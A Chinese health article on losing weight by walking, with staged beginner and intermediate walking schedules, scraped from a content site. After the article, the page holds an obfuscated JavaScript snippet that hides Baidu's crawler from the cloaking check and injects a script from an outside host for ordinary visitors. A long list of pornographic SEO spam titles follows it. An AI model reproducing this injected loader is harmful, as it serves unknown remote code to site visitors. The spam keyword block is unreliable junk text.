當前位置:首頁 > 減肥 > 運動減肥 > 正文

怎樣走路能減肥瘦身

2017-04-22 01:18:03  來源:360常識網   熱度:
導語:要想通過走路來達到減肥瘦身的目的,就一定要堅持,并制定一個適合自己,也能夠完成的計劃。計劃是可以每個月或者每周更改的,如果計劃制定

要想通過走路來達到減肥瘦身的目的,就一定要堅持,并制定一個適合自己,也能夠完成的計劃。計劃是可以每個月或者每周更改的,如果計劃制定的太難完成,那就影響了自己減肥的效果。倒不如每周改變一下計劃,從少變多,而不是因為三分鐘熱度而一下子運動過量。下面,我們就一起來看看關于走路減肥的計劃吧!

無論是戶外或室內均可參照下列3個步行訓練計劃中的一個或綜合進行。每周3-6次,每次20-60分鐘。倘若你想從初級轉至中級,那你應先堅持初級計劃的鍛煉,直到你完成該計劃的要求為止。隨后您照中級計劃步行一周。如果中級計劃實施成功,可轉至高級計劃。

初級步行訓練計劃

基礎階段:這一階段是步行訓練的基礎。每周步行3-4次。步行速度比散步快一些即可,走路的時間保證每次15-20分鐘,然后慢慢提高步行速度和增加步行時間。

1-2周:這個階段重點訓練你的走路姿勢,肩膀放松,肩胛骨稍收縮,挺胸,收腹,每周步行3-4次。

3-4周:你應將速度提高5-10%。倘若你在1-2周內的步行速度為4.5公里/小時,你可將速度提高到4.7-5公里/小時。

5-6周:可選擇有小坡度的地方進行步行訓練。

中級步行訓練計劃

1-2周:間隔鍛煉比例2:2(快走2分鐘,再慢走2分鐘)。

3-4周:間隔鍛煉比例3:2(快走3分鐘,再慢走2分鐘)或(快走2分鐘,再慢走1分鐘)。

5-6周:間隔鍛煉比例3:1(快走3分鐘,再慢走1分鐘)。

如果能夠長期堅持下來,相信很快就會有明顯的瘦身效果。如果感覺自己很有體力,可以適當的增加一些運動量。如果在運動之后的第二天感覺非常疲勞,那就是運動過勞了,對身體不好,應該減少運動量。要相信量變引起質變的道理。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品免费大片国产大片| 网友自拍区视频精品| 日本精品一区二区三区在线视频一 | 久久精品韩国三级| 精品在线观看免费| 在线精品一区二区三区| 亚洲av午夜福利精品一区 | 精品一区精品二区| 精品无人区麻豆乱码无限制| 久久国产精品萌白酱免费| 国产精品成人国产乱一区| 欧美成人精品三级网站下载 | 国产真实伦偷精品| 成人精品一区二区户外勾搭野战| 国产成人精品电影在线观看 | 久久夜色精品国产嚕嚕亚洲av| 日本精品一区二区三区在线视频一| 日韩中文字幕精品免费一区| 亚洲综合国产精品| 777午夜精品久久av蜜臀| laowang在线精品视频| 国产精品99久久不卡| 精品久久久久久成人AV| 久久亚洲美女精品国产精品 | 国产午夜精品一本在线观看| 国产精品嫩草影院在线看| 最新亚洲精品国偷自产在线| 亚洲精品视频久久| 一本一道久久精品综合| 国产精品无码一区二区三区电影| 国产精品爱搞视频网站 | 久久91精品国产91久| 亚洲精品视频在线免费| 夜色www国产精品资源站| 日本人精品video黑人| 久久青青草原精品国产软件| 丰满人妻熟妇乱又伦精品软件| 国产成人亚洲精品蜜芽影院 | 无码欧精品亚洲日韩一区夜夜嗨| 国产成人精品无码一区二区老年人| 久久精品女人天堂AV|